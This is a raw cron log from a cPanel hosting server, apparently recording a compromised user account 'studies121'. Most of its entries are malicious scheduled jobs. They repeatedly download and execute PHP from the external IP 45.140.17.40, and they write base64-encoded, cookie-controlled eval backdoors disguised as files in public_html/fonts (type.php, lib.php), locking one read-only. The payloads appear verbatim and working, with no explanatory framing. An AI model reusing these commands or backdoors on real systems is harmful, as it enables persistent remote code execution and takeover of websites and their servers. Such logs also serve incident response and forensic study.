Aug 31 15:30:01 ip-184-168-122-23 CROND[21840]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:30:01 ip-184-168-122-23 CROND[21843]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:30:01 ip-184-168-122-23 CROND[21846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:30:01 ip-184-168-122-23 CROND[21847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:30:01 ip-184-168-122-23 CROND[21848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:30:01 ip-184-168-122-23 CROND[21859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:30:01 ip-184-168-122-23 CROND[21864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:31:01 ip-184-168-122-23 CROND[21946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:31:01 ip-184-168-122-23 CROND[21947]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:31:01 ip-184-168-122-23 CROND[21948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:31:01 ip-184-168-122-23 CROND[21950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:31:01 ip-184-168-122-23 CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:32:01 ip-184-168-122-23 CROND[22041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:32:01 ip-184-168-122-23 CROND[22043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:32:01 ip-184-168-122-23 CROND[22044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:32:01 ip-184-168-122-23 CROND[22045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:32:01 ip-184-168-122-23 CROND[22046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:33:01 ip-184-168-122-23 CROND[22143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:33:01 ip-184-168-122-23 CROND[22145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:33:01 ip-184-168-122-23 CROND[22146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:33:01 ip-184-168-122-23 CROND[22148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:34:01 ip-184-168-122-23 CROND[22312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:34:01 ip-184-168-122-23 CROND[22314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:34:01 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:34:01 ip-184-168-122-23 CROND[22317]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:34:01 ip-184-168-122-23 CROND[22316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:35:01 ip-184-168-122-23 CROND[22412]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22416]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22418]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:35:01 ip-184-168-122-23 CROND[22415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22414]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 15:35:01 ip-184-168-122-23 CROND[22423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:36:01 ip-184-168-122-23 CROND[22516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:36:01 ip-184-168-122-23 CROND[22519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:36:01 ip-184-168-122-23 CROND[22520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:36:01 ip-184-168-122-23 CROND[22518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:36:01 ip-184-168-122-23 CROND[22521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:37:01 ip-184-168-122-23 CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:37:01 ip-184-168-122-23 CROND[22615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:37:01 ip-184-168-122-23 CROND[22616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:37:01 ip-184-168-122-23 CROND[22617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:38:01 ip-184-168-122-23 CROND[22710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:38:01 ip-184-168-122-23 CROND[22712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:38:01 ip-184-168-122-23 CROND[22713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:38:01 ip-184-168-122-23 CROND[22714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:38:01 ip-184-168-122-23 CROND[22715]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:39:01 ip-184-168-122-23 CROND[22804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:39:01 ip-184-168-122-23 CROND[22807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:39:01 ip-184-168-122-23 CROND[22806]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 15:39:01 ip-184-168-122-23 CROND[22809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:39:01 ip-184-168-122-23 CROND[22808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22912]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22915]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:40:01 ip-184-168-122-23 CROND[22918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:40:01 ip-184-168-122-23 CROND[22922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:40:01 ip-184-168-122-23 CROND[22923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:41:01 ip-184-168-122-23 CROND[23096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:41:01 ip-184-168-122-23 CROND[23097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:41:01 ip-184-168-122-23 CROND[23099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:41:01 ip-184-168-122-23 CROND[23100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
